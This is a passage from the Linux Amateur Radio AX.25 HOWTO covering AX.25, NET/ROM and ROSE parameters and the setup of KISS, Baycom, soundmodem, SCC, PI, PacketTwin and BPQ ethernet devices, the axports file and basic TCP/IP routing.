  3. NET/ROM will use the callsign/ssid specified for it in its configuration file, but this callsign is only used when your NET/ROM is speaking to another NET/ROM, this is not the callsign/ssid that AX.25 users who wish to use your NET/ROM `node' will use. More on this later.

  4. ROSE will, by default, use the callsign/ssid of the AX.25 port, unless the ROSE callsign has been specifically set using the `rsparms' command. If you set a callsign/ssid using the `rsparms' command then ROSE will use this callsign/ssid on all ports.

  5. Other programs, such as the `ax25d' program can listen using any callsign/ssid that they wish and these may be duplicated across different ports.

  6. If you are careful with routing you can configure the same IP address on all ports if you wish.

5.1. What are all those T1, T2, N2 and things ?

Not every AX.25 implementation is a TNC2. Linux uses nomenclature that differs in some respects from that you will be used to if your sole experience with packet is a TNC. The following table should help you interpret what each of the configurable items are, so that when you come across them later in this text you'll understand what they mean.

Linux | TAPR TNC | Description
T1 | FRACK | How long to wait before retransmitting an unacknowledged frame.
T2 | RESPTIME | The minimum amount of time to wait for another frame to be received before transmitting an acknowledgement.
T3 | CHECK | The period of time we wait between sending a check that the link is still active.
N2 | RETRY | How many times to retransmit a frame before assuming the connection has failed.
Idle |  | The period of time a connection can be idle before we close it down.
Window | MAXFRAME | The maximum number of unacknowledged transmitted frames.

5.2. Run time configurable parameters

The kernel allows you to change many parameters at run time. If you take a careful look at the /proc/sys/net/ directory structure you will see many files with useful names that describe various parameters for the network configuration. The files in the /proc/sys/net/ax25/ directory each represent one configured AX.25 port. The name of the file relates to the name of the port.

The structure of the files in /proc/sys/net/ax25/portname/ is as follows:

Filename | Meaning | Values | Default
ip_default_mode | IP Default Mode | 0=DG 1=VC | 0
ax25_default_mode | AX.25 Default Mode | 0=Normal 1=Extended | 0
backoff_type | Backoff | 0=Linear 1=Exponential | 1
connect_mode | Connected Mode | 0=No 1=Yes | 1
standard_window_size | Standard Window | 1 .. 7 | 2
extended_window_size | Extended Window | 1 .. 63 | 32
t1_timeout | T1 Timeout | 1s .. 30s | 10s
t2_timeout | T2 Timeout | 1s .. 20s | 3s
t3_timeout | T3 Timeout | 0s .. 3600s | 300s
idle_timeout | Idle Timeout | 0m or greater | 20m
maximum_retry_count | N2 | 1 .. 31 | 10
maximum_packet_length | AX.25 Frame Length | 1 .. 512 | 256

In the table T1, T2 and T3 are given in seconds, and the Idle Timeout is given in minutes. But please note that the values used in the sysctl interface are given in internal units where the time in seconds is multiplied by 10, this allows resolution down to 1/10 of a second. With timers that are allowed to be zero, e.g. T3 and Idle, a zero value indicates that the timer is disabled.

The structure of the files in /proc/sys/net/netrom/ is as follows:

Filename | Meaning | Values | Default
default_path_quality |  |  | 10
link_fails_count |  |  | 2
network_ttl_initialiser |  |  | 16
obsolescence_count_initialiser |  |  | 6
routing_control |  |  | 1
transport_acknowledge_delay |  |  | 50
transport_busy_delay |  |  | 1800
transport_maximum_tries |  |  | 3
transport_requested_window_size |  |  | 4
transport_timeout |  |  | 1200

The structure of the files in /proc/sys/net/rose/ is as follows:

Filename | Meaning | Values | Default
acknowledge_hold_back_timeout |  |  | 50
call_request_timeout |  |  | 2000
clear_request_timeout |  |  | 1800
link_fail_timeout |  |  | 1200
maximum_virtual_circuits |  |  | 50
reset_request_timeout |  |  | 1800
restart_request_timeout |  |  | 1800
routing_control |  |  | 1
window_size |  |  | 3

To set a parameter all you need to do is write the desired value to the file itself, for example to check and set the ROSE window size you'd use something like:

# cat /proc/sys/net/rose/window_size
3
# echo 4 >/proc/sys/net/rose/window_size
# cat /proc/sys/net/rose/window_size
4

Prev | Home | Next
Installing the AX.25/NET/ROM/ROSE software |  | Configuring an AX.25 port


Configuring an AX.25 port

Linux Amateur Radio AX.25 HOWTO
Prev Next

6. Configuring an AX.25 port

Each of the AX.25 applications read a particular configuration file to obtain the parameters for the various AX.25 ports configured on your Linux machine. For AX.25 ports the file that is read is the /etc/ax25/axports file. You must have an entry in this file for each AX.25 port you want on your system.

6.1. Creating the AX.25 network device

The network device is what is listed when you use the `ifconfig' command. This is the object that the Linux kernel sends and receives network data from. Nearly always the network device has a physical port associated with it, but there are occasions where this isn't necessary. The network device does relate directly to a device driver.

In the Linux AX.25 code there are a number of device drivers. The most common is probably the KISS driver, but others are the SCC driver(s), the Baycom driver and the Soundmodem driver.

Each of these device drivers will create a network device when it is started.

6.1.1. Creating a KISS device

Kernel Compile Options:
Amateur Radio support  --->
    [*] Amateur Radio support
    --- Packet Radio protocols
    <*>   Amateur Radio AX.25 Level 2 protocol
    ...
    AX.25 network device drivers  --->
    --- AX.25 network device drivers
    <*> Serial port KISS driver
    ...

Probably the most common configuration will be for a KISS TNC on a serial port. You will need to have the TNC preconfigured and connected to your serial port. You can use a communications program like minicom or seyon to configure the TNC into kiss mode.

To create a KISS device you use the kissattach program. In it simplest form you can use the kissattach program as follows:

# /usr/sbin/kissattach /dev/ttyS0 radio 44.135.96.242
# kissparms -p radio -t 100 -s 100 -r 25

The kissattach command will create a KISS network device. These devices are called `ax[0-9]'. The first time you use the kissattach command it creates `ax0', the second time it creates `ax1' etc. Each KISS device has an associated serial port.

The kissparms command allows you to set various KISS parameters on a KISS device.

Specifically the example presented would create a KISS network device using the serial device `/dev/ttyS0' and the entry from the /etc/ax25/axports with a port name of `radio'. It then configures it with a txdelay and slottime of 100 milliseconds and a ppersist value of 25.

Please refer to the man pages for more information.

6.1.1.1. Configuring for Dual Port TNC's

The mkiss utility included in the ax25-utils distribution allows you to make use of both modems on a dual port TNC. Configuration is fairly simple. It works by taking a single serial device connected to a single multiport TNC and making it look like a number of devices each connected to a single port TNC. You do this before you do any of the AX.25 configuration. The devices that you then do the AX.25 configuration on are pseudo-TTY interfaces, (/dev/ttyq*), and not the actual serial device. Pseudo-TTY devices create a kind of pipe through which programs designed to talk to tty devices can talk to other programs designed to talk to tty devices. Each pipe has a master and a slave end. The master end is generally called `/dev/ptyq*' and the slave ends are called `/dev/ttyq*'. There is a one to one relationship between masters and slaves, so /dev/ptyq0 is the master end of a pipe with /dev/ttyq0 as its slave. You must open the master end of a pipe before opening the slave end. mkiss exploits this mechanism to split a single serial device into separate devices.

Example: if you have a dual port TNC and it is connected to your /dev/ttyS0 serial device at 9600 bps, the command:

# /usr/sbin/mkiss -s 9600 /dev/ttyS0 /dev/ptyq0 /dev/ptyq1
# /usr/sbin/kissattach /dev/ttyq0 port1 44.135.96.242
# /usr/sbin/kissattach /dev/ttyq1 port2 44.135.96.242

would create two pseudo-tty devices that each look like a normal single port TNC. You would then treat /dev/ttyq0 and /dev/ttyq1 just as you would a conventional serial device with TNC connected. This means you'd then use the kissattach command as described above, on each of those, in the example for AX.25 ports called port1 and port2. You shouldn't use kissattach on the actual serial device as the mkiss program uses it.

The mkiss command has a number of optional arguments that you may wish to use. They are summarized as follows:

-c

enables the addition of a one byte checksum to each KISS frame. This is not supported by most KISS implementations, it is supported by the G8BPG KISS ROM.

-s <speed>

sets the speed of the serial port.

-h

enables hardware handshaking on the serial port, it is off by default. Most KISS implementation do not support this, but some do.

-l

enables logging of information to the syslog log file.

6.1.2. Creating a 6PACK device

Kernel Compile Options:
Amateur Radio support  --->
    [*] Amateur Radio support
    --- Packet Radio protocols
    <*>   Amateur Radio AX.25 Level 2 protocol
    ...
    AX.25 network device drivers  --->
    --- AX.25 network device drivers
    ...
    <*> Serial port 6PACK driver
    ...

6PACK is a protocol that is supported by some TNCs as an alternative to KISS. It is used in a similar fashion to the KISS driver, using the slattach command instead of kissattach.

A mini HOWTO on the 6PACK driver is included in the kernel source code as the file /usr/src/linux/Documentation/networking/6pack.txt.

6.1.3. Creating a Baycom device

Kernel Compile Options:
Amateur Radio support  --->
    [*] Amateur Radio support
    --- Packet Radio protocols
    <*>   Amateur Radio AX.25 Level 2 protocol
    ...
    AX.25 network device drivers  --->
    --- AX.25 network device drivers
    ...
    <?> BAYCOM ser12 fullduplex driver for AX.25
    <?> BAYCOM ser12 halfduplex driver for AX.25
    <?> BAYCOM picpar and par96 driver for AX.25
    <?> BAYCOM epp driver for AX.25
    ...

Thomas Sailer, despite the popularly held belief that it would not work very well, has developed Linux support for Baycom modems. His driver supports the Ser12 serial port, Par96 and the enhanced PicPar parallel port modems. Further information about the modems themselves may be obtained from the Baycom Web site.

Your first step should be to determine the i/o and addresses of the serial or parallel port(s) you have Baycom modem(s) connected to. When you have these you must configure the Baycom driver with them.

The Baycom driver creates network devices called: bc0, bc1, bc2 etc. when it is configured.

The sethdlc utility allows you to configure the driver with these parameters, or, if you have only one Baycom modem installed you may specify the parameters on the insmod command line when you load the Baycom module.

For example, a simple configuration. Disable the serial driver for COM1: then configure the Baycom driver for a Ser12 serial port modem on COM1: with the software DCD option enabled:

# setserial /dev/ttyS0 uart none
# insmod hdlcdrv
# insmod baycom mode="ser12*" iobase=0x3f8 irq=4

Par96 parallel port type modem on LPT1: using hardware DCD detection:

# insmod hdlcdrv
# insmod baycom mode="par96" iobase=0x378 irq=7 options=0

This is not really the preferred way to do it. The sethdlc utility works just as easily with one device as with many.

The sethdlc man page has the full details, but a couple of examples will illustrate the most important aspects of this configuration. The following examples assume you have already loaded the Baycom module using:

# insmod hdlcdrv
# insmod baycom

or that you compiled the kernel with the driver inbuilt.

Configure the bc0 device driver as a Parallel port Baycom modem on LPT1: with software DCD:

# sethdlc -p -i bc0 mode par96 io 0x378 irq 7

Configure the bc1 device driver as a Serial port Baycom modem on COM1:

# sethdlc -p -i bc1 mode "ser12*" io 0x3f8 irq 4

6.1.4. Configuring the AX.25 channel access parameters

The AX.25 channel access parameters are the equivalent of the KISS ppersist, txdelay and slottime type parameters. Again you use the sethdlc utility for this.

Again the sethdlc man page is the source of the most complete information but another example of two won't hurt:

Configure the bc0 device with TxDelay of 200 mS, SlotTime of 100 mS, PPersist of 40 and half duplex:

# sethdlc -i bc0 -a txd 200 slot 100 ppersist 40 half

Note that the timing values are in milliseconds.

6.1.4.1. Configuring the Kernel AX.25 to use the Baycom device

The Baycom driver creates standard network devices that the AX.25 Kernel code can use. Configuration is much the same as that for a PI or PacketTwin card.

The first step is to configure the device with an AX.25 callsign. The ifconfig utility may be used to perform this.

# /sbin/ifconfig bc0 hw ax25 VK2KTJ-15 up

will assign the Baycom device bc0 the AX.25 callsign VK2KTJ-15. Alternatively you can use the axparms command, you'll still need to use the ifconfig command to bring the device up though:

# ifconfig bc0 up
# axparms -setcall bc0 vk2ktj-15

The next step is to create an entry in the /etc/ax25/axports file as you would for any other device. The entry in the axports file is associated with the network device you've configured by the callsign you configure. The entry in the axports file that has the callsign that you configured the Baycom device with is the one that will be used to refer to it.

You may then treat the new AX.25 device as you would any other. You can configure it for TCP/IP, add it to ax25d and run NET/ROM or ROSE over it as you please.

6.1.5. Creating a kernel Soundmodem device

Kernel Compile Options:
Amateur Radio support  --->
    [*] Amateur Radio support
    --- Packet Radio protocols
    <*>   Amateur Radio AX.25 Level 2 protocol
    ...
    AX.25 network device drivers  --->
    --- AX.25 network device drivers
    ...
    <*> Soundcard modem driver
    [?]   soundmodem support for Soundblaster and compatible cards
    [?]   soundmodem support for WSS and Crystal cards
    [?]   soundmodem support for 1200 baud AFSK modulation
    [?]   soundmodem support for 2400 baud AFSK modulation (7.3728MHz crystal)
    [?]   soundmodem support for 2400 baud AFSK modulation (8MHz crystal)
    [?]   soundmodem support for 2666 baud AFSK modulation
    [?]   soundmodem support for 4800 baud HAPN-1 modulation
    [?]   soundmodem support for 4800 baud PSK modulation
    [?]   soundmodem support for 9600 baud FSK G3RUH modulation
    ...

Thomas Sailer has built a driver for the kernel that allows you to use your soundcard as a modem. Connect your radio directly to your soundcard to play packet! Thomas recommends at least a 486DX2/66 if you want to use this software as all of the digital signal processing is done by the main CPU.

The driver currently emulates 1200 bps AFSK, 4800 HAPN and 9600 FSK (G3RUH compatible) modem types. The only sound cards currently supported are SoundBlaster and Windows Sound System Compatible models. If you have a sound card of another type, you can try the user-mode soundmodem described later in this document.

The sound cards require some circuitry to help them drive the Push-To-Talk circuitry, and information on this is available from Thomas's Soundmodem PTT circuit web page. There are quite a few possible options, they are: detect the sound output from the soundcard, or use output from a parallel port, serial port or MIDI port. Circuit examples for each of these are on Thomas's site.

The Soundmodem driver creates network devices called: sm0, sm1, sm2 etc when it is configured.

Note

The Soundmodem driver competes for the same resources as the Linux sound driver, so if you wish to use the Soundmodem driver you must ensure that the Linux sound driver is not installed. You can, of course, compile them both as modules and insert and remove them as you wish.

6.1.5.1. Configuring the sound card

The Soundmodem driver does not initialize the sound card. The ax25-utils package includes a utility to do this called `setcrystal' that may be used for sound cards based on the Crystal chip set. If you have some other card then you will have to use some other software to initialize it. Its syntax is fairly straightforward:

setcrystal [-w wssio] [-s sbio] [-f synthio] [-i irq] [-d dma] [-c dma2]

So, for example, if you wished to configure a SoundBlaster card at i/o base address 0x388, irq 10 and DMA 1 you would use:

# setcrystal -s 0x388 -i 10 -d 1

To configure a Window Sound System card at i/o base address 0x534, irq 5, DMA 3 you would use:

# setcrystal -w 0x534 -i 5 -d 3

The [-f synthio] parameter is the set the synthesizer address, and the [-c dma2] parameter is to set the second DMA channel to allow full duplex operation.

6.1.5.2. Configuring the Soundmodem driver

When you have configured the soundcard you need to configure the driver telling it where the sound card is located and what sort of modem you wish it to emulate.

The sethdlc utility allows you to configure the driver with these parameters, or, if you have only one soundcard installed you may specify the parameters on the insmod command line when you load the Soundmodem module.

For example, a simple configuration, with one SoundBlaster soundcard configured as described above emulating a 1200 bps modem:

# insmod hdlcdrv
# insmod soundmodem mode="sbc:afsk1200" iobase=0x220 irq=5 dma=1

This is not really the preferred way to do it. The sethdlc utility works just as easily with one device as with many.

The sethdlc man page has the full details, but a couple of examples will illustrate the most important aspects of this configuration. The following examples assume you have already loaded the Soundmodem modules using:

# insmod hdlcdrv
# insmod soundmodem

or that you compiled the kernel with the driver inbuilt.

Configure the driver to support the Windows Sound System card we configured above to emulate a G3RUH 9600 compatible modem as device sm0 using a parallel port at 0x378 to key the Push-To-Talk:

# sethdlc -p -i sm0 mode wss:fsk9600 io 0x534 irq 5 dma 3 pario 0x378

Configure the driver to support the SoundBlaster card we configured above to emulate a 4800 bps HAPN modem as device sm1 using the serial port located at 0x2f8 to key the Push-To-Talk:

# sethdlc -p -i sm1 mode sbc:hapn4800 io 0x388 irq 10 dma 1 serio 0x2f8

Configure the driver to support the SoundBlaster card we configured above to emulate a 1200 bps AFSK modem as device sm1 using the serial port located at 0x2f8 to key the Push-To-Talk:

# sethdlc -p -i sm1 mode sbc:afsk1200 io 0x388 irq 10 dma 1 serio 0x2f8

6.1.5.3. Configuring the AX.25 channel access parameters

The AX.25 channel access parameters are the equivalent of the KISS ppersist, txdelay and slottime type parameters. You use the sethdlc utility for this as well.

Again the sethdlc man page is the source of the most complete information but another example of two won't hurt:

Configure the sm0 device with TxDelay of 100 mS, SlotTime of 50mS, PPersist of 128 and full duplex:

# sethdlc -i sm0 -a txd 100 slot 50 ppersist 128 full

Note that the timing values are in milliseconds.

6.1.5.4. Setting the audio levels and tuning the driver

It is very important that the audio levels be set correctly for any radio based modem to work. This is equally true of the Soundmodem. Thomas has developed some utility programs that make this task easier. They are called smdiag and smmixer.

smdiag

provides two types of display, either an oscilloscope type display or an eye pattern type display.

smmixer

allows you to actually adjust the transmit and receive audio levels.

To start the smdiag utility in 'eye' mode for the Soundmodem device sm0 you would use:

# smdiag -i sm0 -e

To start the smmixer utility for the Soundmodem device sm0 you would use:

# smmixer -i sm0

6.1.5.5. Configuring the Kernel AX.25 to use the Soundmodem

The Soundmodem driver creates standard network devices that the AX.25 Kernel code can use. Configuration is much the same as that for a PI or PacketTwin card.

The first step is to configure the device with an AX.25 callsign. The ifconfig utility may be used to perform this.

# /sbin/ifconfig sm0 hw ax25 VK2KTJ-15 up

will assign the Soundmodem device sm0 the AX.25 callsign VK2KTJ-15. Alternatively you can use the axparms command, but you still need the ifconfig utility to bring the device up:

# ifconfig sm0 up
# axparms -setcall sm0 vk2ktj-15

The next step is to create an entry in the /etc/ax25/axports file as you would for any other device. The entry in the axports file is associated with the network device you've configured by the callsign you configure. The entry in the axports file that has the callsign that you configured the Soundmodem device with is the one that will be used to refer to it.

You may then treat the new AX.25 device as you would any other. You can configure it for TCP/IP, add it to ax25d and run NET/ROM or ROSE over it as you please.

6.1.6. Creating a user-mode Soundmodem device

Kernel Compile Options: not applicable

Thomas Sailer has written a sound modem driver that runs in user-mode using the kernel sound drivers, so it should work with any sound card supported under Linux.

The driver is implemented as the user-mode program soundmodem. The graphical soundmodemconfig program allows configuring and testing the soundmodem driver. As well as kernel sound support you need the kernel AX.25 mkiss driver.

The software and documentation can be downloaded from http://www.baycom.org/~tom/ham/soundmodem.

6.1.7. Creating a YAM device

Kernel Compile Options:
Amateur Radio support  --->
    [*] Amateur Radio support
    --- Packet Radio protocols
    <*>   Amateur Radio AX.25 Level 2 protocol
    ...
    AX.25 network device drivers  --->
    --- AX.25 network device drivers
    ...
    <?> YAM driver for AX.25
    ...

YAM is Yet Another Modem, a 9600 baud modem designed by Nico Palermo. Information on the Linux driver can be found at http://www.teaser.fr/~frible/yam.html while general information on the modem can be found at http://www.microlet.com/yam/

6.1.8. Creating a PI card device

Kernel Compile Options:
General setup  --->
    [*] Networking support
Network device support  --->
    [*] Network device support
    ...
    [*] Radio network interfaces
    [*] Ottawa PI and PI/2 support for AX.25

The PI card device driver creates devices named `pi[0-9][ab]'. The first PI card detected will be allocated `pi0', the second `pi1' etc. The `a' and `b' refer to the first and second physical interface on the PI card. If you have built your kernel to include the PI card driver, and the card has been properly detected then you can use the following command to configure the network device:

# /sbin/ifconfig pi0a hw ax25 VK2KTJ-15 up

This command would configure the first port on the first PI card detected with the callsign VK2KTJ-15 and make it active. To use the device all you now need to do is to configure an entry into your /etc/ax25/axports file with a matching callsign/ssid and you will be ready to continue on.

The PI card driver was written by David Perry.

6.1.9. Creating a PacketTwin device

Kernel Compile Options:
General setup  --->
    [*] Networking support
Network device support  --->
    [*] Network device support
    ...
    [*] Radio network interfaces
    [*] Gracilis PackeTwin support for AX.25

The PacketTwin card device driver creates devices named `pt[0-9][ab]'. The first PacketTwin card detected will be allocated `pt0', the second `pt1' etc. The `a' and `b' refer to the first and second physical interface on the PacketTwin card. If you have built your kernel to include the PacketTwin card driver, and the card has been properly detected then you can use the following command to configure the network device:

# /sbin/ifconfig pt0a hw ax25 VK2KTJ-15 up

This command would configure the first port on the first PacketTwin card detected with the callsign VK2KTJ-15 and make it active. To use the device all you now need to do is to configure an entry into your /etc/ax25/axports file with a matching callsign/ssid and you will be ready to continue on.

The PacketTwin card driver was written by Craig Small, VK2XLZ.

6.1.10. Creating a generic SCC device

Kernel Compile Options:
General setup  --->
    [*] Networking support
Network device support  --->
    [*] Network device support
    ...
    [*] Radio network interfaces
    [*] Z8530 SCC KISS emulation driver for AX.25

Joerg Reuter, DL1BKE, has developed generic support for Z8530 SCC based cards. His driver is configurable to support a range of different types of cards and present an interface that looks like a KISS TNC so you can treat it as though it were a KISS TNC.

6.1.10.1. Obtaining and building the configuration tool package

While the kernel driver is included in the standard kernel distribution, Joerg distributes more recent versions of his driver with the suite of configuration tools that you will need to obtain as well.

You can obtain the configuration tools package from: Joerg's web page, ftp://db0bm.automation.fh-aachen.de/incoming/dl1bke, ftp://insl1.etec.uni-karlsruhe.de/pub/hamradio/linux/z8530, ftp://ftp.ucsd.edu/hamradio/packet/tcpip/linux, or ftp://ftp.ucsd.edu/hamradio/packet/tcpip/incoming.

You will find multiple versions, choose the one that best suits the kernel you intend to use: z8530drv-2.4a.dl1bke.tar.gz for 2.0.* kernels and z8530drv-utils-3.0.tar.gz for 2.1.6 or later kernels.

The following commands were what I used to compile and install the package for kernel version 2.0.30:

# cd /usr/src
# gzip -dc z8530drv-2.4a.dl1bke.tar.gz | tar xvpofz -
# cd z8530drv
# make clean
# make dep
# make module         # If you want to build the driver as a module
# make for_kernel     # If you want the driver to built into your kernel
# make install

After the above is complete you should have three new programs installed in your /sbin directory: gencfg, sccinit and sccstat. It is these programs that you will use to configure the driver for your card.

You will also have a group of new special device files created in your /dev called scc0-scc7. These will be used later and will be the `KISS' devices you will end up using.

If you chose to 'make for_kernel' then you will need to recompile your kernel. To ensure that you include support for the z8530 driver you must be sure to answer `Y' to: `Z8530 SCC kiss emulation driver for AX.25' when asked during a kernel `make config'.

If you chose to 'make module' then the new scc.o will have been installed in the appropriate /lib/modules directory and you do not need to recompile your kernel. Remember to use the insmod command to load the module before your try and configure it.

6.1.10.2. Configuring the driver for your card

The z8530 SCC driver has been designed to be as flexible as possible so as to support as many different types of cards as possible. With this flexibility has come some cost in configuration.

There is more comprehensive documentation in the package and you should read this if you have any problems. You should particularly look at doc/scc_eng.doc or doc/scc_ger.doc for more detailed information. I've paraphrased the important details, but as a result there is a lot of lower level detail that I have not included.

The main configuration file is read by the sccinit program and is called /etc/z8530drv.conf. This file is broken into two main stages: Configuration of the hardware parameters and channel configuration. After you have configured this file you need only add:

# sccinit

into the rc file that configures your network and the driver will be initialized according to the contents of the configuration file. You must do this before you attempt to use the driver.

6.1.10.2.1. Configuration of the hardware parameters

The first section is broken into stanzas, each stanza representing an 8530 chip. Each stanza is a list of keywords with arguments. You may specify up to four SCC chips in this file by default. The #define MAXSCC 4 in scc.c can be increased if you require support for more.

The allowable keywords and arguments are:

chip

the chip keyword is used to separate stanzas. It will take anything as an argument. The arguments are not used.

data_a

this keyword is used to specify the address of the data port for the z8530 channel `A'. The argument is a hexadecimal number e.g. 0x300

ctrl_a

this keyword is used to specify the address of the control port for the z8530 channel `A'. The arguments is a hexadecimal number e.g. 0x304

data_b

this keyword is used to specify the address of the data port for the z8530 channel `B'. The argument is a hexadecimal number e.g. 0x301

ctrl_b

this keyword is used to specify the address of the control port for the z8530 channel `B'. The arguments is a hexadecimal number e.g. 0x305

irq

this keyword is used to specify the IRQ used by the 8530 SCC described in this stanza. The argument is an integer e.g. 5

pclock

this keyword is used to specify the frequency of the clock at the PCLK pin of the 8530. The argument is an integer frequency in Hz which defaults to 4915200 if the keyword is not supplied.

board

the type of board supporting this 8530 SCC. The argument is a character string. The allowed values are:

PA0HZP

the PA0HZP SCC Card

EAGLE

the Eagle card

PC100

the DRSI PC100 SCC card

PRIMUS

the PRIMUS-PC (DG9BL) card

BAYCOM

BayCom (U)SCC card

escc

this keyword is optional and is used to enable support for the Extended SCC chips (ESCC) such as the 8580, 85180, or the 85280. The argument is a character string with allowed values of `yes' or `no'. The default is `no'.

vector

this keyword is optional and specifies the address of the vector latch (also known as "intack port") for PA0HZP cards. There can be only one vector latch for all chips. The default is 0.

special

this keyword is optional and specifies the address of the special function register on several cards. The default is 0.

option

this keyword is optional and defaults to 0.

Some example configurations for the more popular cards are as follows:

BayCom USCC

chip    1
data_a  0x300
ctrl_a  0x304
data_b  0x301
ctrl_b  0x305
irq     5
board   BAYCOM
#
# SCC chip 2
#
chip    2
data_a  0x302
ctrl_a  0x306
data_b  0x303
ctrl_b  0x307
board   BAYCOM

PA0HZP SCC card

chip 1
data_a 0x153
data_b 0x151
ctrl_a 0x152
ctrl_b 0x150
irq 9
pclock 4915200
board PA0HZP
vector 0x168
escc no
#
#
#
chip 2
data_a 0x157
data_b 0x155
ctrl_a 0x156
ctrl_b 0x154
irq 9
pclock 4915200
board PA0HZP
vector 0x168
escc no

DRSI SCC card

chip 1
data_a 0x303
data_b 0x301
ctrl_a 0x302
ctrl_b 0x300
irq 7
pclock 4915200
board DRSI
escc no

If you already have a working configuration for your card under NOS, then you can use the gencfg command to convert the PE1CHL NOS driver commands into a form suitable for use in the z8530 driver configuration file.

To use gencfg you simply invoke it with the same parameters as you used for the PE1CHL driver in NET/NOS. For example:

# gencfg 2 0x150 4 2 0 1 0x168 9 4915200

will generate a skeleton configuration for the OptoSCC card.

6.1.10.3. Channel Configuration

The Channel Configuration section is where you specify all of the other parameters associated with the port you are configuring. Again this section is broken into stanzas. One stanza represents one logical port, and therefore there would be two of these for each one of the hardware parameters stanzas as each 8530 SCC supports two ports.

These keywords and arguments are also written to the /etc/z8530drv.conf file and must appear after the hardware parameters section.

Sequence is very important in this section, but if you stick with the suggested sequence it should work okay. The keywords and arguments are:

device

this keyword must be the first line of a port definition and specifies the name of the special device file that the rest of the configuration applies to. e.g. /dev/scc0

speed

this keyword specifies the speed in bits per second of the interface. The argument is an integer: e.g. 1200

clock

this keyword specifies where the clock for the data will be sourced. Allowable values are:

dpll

normal halfduplex operation

external

MODEM supplies its own Rx/Tx clock

divider

use fullduplex divider if installed.

mode

this keyword specifies the data coding to be used. Allowable arguments are: nrzi or nrz

rxbuffers

this keyword specifies the number of receive buffers to allocate memory for. The argument is an integer, e.g. 8.

txbuffers

this keyword specifies the number of transmit buffers to allocate memory for. The argument is an integer, e.g. 8.

bufsize

this keyword specifies the size of the receive and transmit buffers. The arguments is in bytes and represents the total length of the frame, so it must also take into account the AX.25 headers and not just the length of the data field. This keyword is optional and default to 384

txdelay

the KISS transmit delay value, the argument is an integer in mS.

persist

the KISS persist value, the argument is an integer.

slot

the KISS slot time value, the argument is an integer in mS.

tail

the KISS transmit tail value, the argument is an integer in mS.

fulldup

the KISS full duplex flag, the argument is an integer. 1==Full Duplex, 0==Half Duplex.

wait

the KISS wait value, the argument is an integer in mS.

min

the KISS min value, the argument is an integer in S.

maxkey

the KISS maximum keyup time, the argument is an integer in S.

idle

the KISS idle timer value, the argument is an integer in S.

maxdef

the KISS maxdef value, the argument is an integer.

group

the KISS group value, the argument is an integer.

txoff

the KISS txoff value, the argument is an integer in mS.

softdcd

the KISS softdcd value, the argument is an integer.

slip

the KISS slip flag, the argument is an integer.

6.1.10.4. Using the driver

To use the driver you simply treat the /dev/scc* devices just as you would a serial tty device with a KISS TNC connected to it. For example, to configure Linux Kernel networking to use your SCC card you could use something like:

# kissattach -s 4800 /dev/scc0 VK2KTJ

You can also use NOS to attach to it in precisely the same way. From JNOS for example you would use something like:

attach asy scc0 0 ax25 scc0 256 256 4800

6.1.10.5. The sccstat and sccparam tools

To assist in the diagnosis of problems you can use the sccstat program to display the current configuration of an SCC device. To use it try:

# sccstat /dev/scc0

you will displayed a very large amount of information relating to the configuration and health of the /dev/scc0 SCC port.

The sccparam command allows you to change or modify a configuration after you have booted. Its syntax is very similar to the NOS param command, so to set the txtail setting of a device to 100mS you would use:

# sccparam /dev/scc0 txtail 0x8

6.1.11. Creating a BPQ ethernet device

Kernel Compile Options:
General setup  --->
    [*] Networking support
Network device support  --->
    [*] Network device support
    ...
    [*] Radio network interfaces
    [*] BPQ Ethernet driver for AX.25

Linux supports BPQ Ethernet compatibility. This enables you to run the AX.25 protocol over your Ethernet LAN and to interwork your linux machine with other BPQ machines on the LAN.

The BPQ network devices are named `bpq[0-9]'. The `bpq0' device is associated with the `eth0' device, the `bpq1' device with the `eth1' device etc.

Configuration is quite straightforward. You firstly must have configured a standard Ethernet device. This means you will have compiled your kernel to support your Ethernet card and tested that this works. Refer to the Ethernet-HOWTO for more information on how to do this.

To configure the BPQ support you need to configure the Ethernet device with an AX.25 callsign. The following command will do this for you:

# /sbin/ifconfig bpq0 hw ax25 vk2ktj-14 up

Again, remember that the callsign you specify should match the entry in the /etc/ax25/axports file that you wish to use for this port.

6.1.12. Configuring the BPQ Node to talk to the Linux AX.25 support

BPQ Ethernet normally uses a multicast address. The Linux implementation does not, and instead it uses the normal Ethernet broadcast address. The NET.CFG file for the BPQ ODI driver should therefore be modified to look similar to this:

LINK SUPPORT

        MAX STACKS 1
        MAX BOARDS 1

LINK DRIVER E2000                    ; or other MLID to suit your card

        INT 10                       ;
        PORT 300                     ; to suit your card

        FRAME ETHERNET_II

        PROTOCOL BPQ 8FF ETHERNET_II ; required for BPQ - can change PID

BPQPARAMS                            ; optional - only needed if you want
                                     ; to override the default target addr

        ETH_ADDR  FF:FF:FF:FF:FF:FF  ; Target address

6.2. Creating the /etc/ax25/axports file

The /etc/ax25/axports is a simple text file that you create with a text editor. The format of the /etc/ax25/axports file is as follows:

portname  callsign  baudrate  paclen  window  description

where:

portname

is a text name that you will refer to the port by.

callsign

is the AX.25 callsign you want to assign to the port.

baudrate

is the speed at which you wish the port to communicate with your TNC.

paclen

is the maximum packet length you want to configure the port to use for AX.25 connected mode connections.

window

is the AX.25 window (K) parameter. This is the same as the MAXFRAME setting of many TNC's.

description

is a textual description of the port.

In my case, mine looks like:

radio    VK2KTJ-15       4800        256     2       4800bps 144.800 MHz
ether    VK2KTJ-14       10000000    256     2       BPQ/ethernet device

Remember, you must assign unique callsign/ssid to each AX.25 port you create. Create one entry for each AX.25 device you want to use, this includes KISS, Baycom, SCC, PI, PT and Soundmodem ports. Each entry here will describe exactly one AX.25 network device. The entries in this file are associated with the network devices by the callsign/ssid. This is at least one good reason for requiring unique callsign/ssid.

6.3. Configuring AX.25 routing

You may wish to configure default digipeaters paths for specific hosts. This is useful for both normal AX.25 connections and also IP based connections. The axparms command enables you to do this. Again, the man page offers a complete description, but a simple example might be:

# /usr/sbin/axparms -route add radio VK2XLZ VK2SUT

This command would set a digipeater entry for VK2XLZ via VK2SUT on the AX.25 port named radio.

Prev | Home | Next
A note on callsigns, addresses and things before we start |  | Configuring an AX.25 interface for TCP/IP


Configuring an AX.25 interface for TCP/IP

Linux Amateur Radio AX.25 HOWTO
Prev Next

7. Configuring an AX.25 interface for TCP/IP

It is very simple to configure an AX.25 port to carry TCP/IP. If you have KISS interfaces then there are two methods for configuring an IP address. The kissattach command has an option that allows you to specify an IP address. The more conventional method using the ifconfig command will work on all interface types.

So, modifying the previous KISS example:

# /usr/sbin/kissattach -i 44.136.8.5 -m 512 /dev/ttyS0 radio
# /sbin/route add -net 44.136.8.0 netmask 255.255.255.0 ax0
# /sbin/route add default ax0

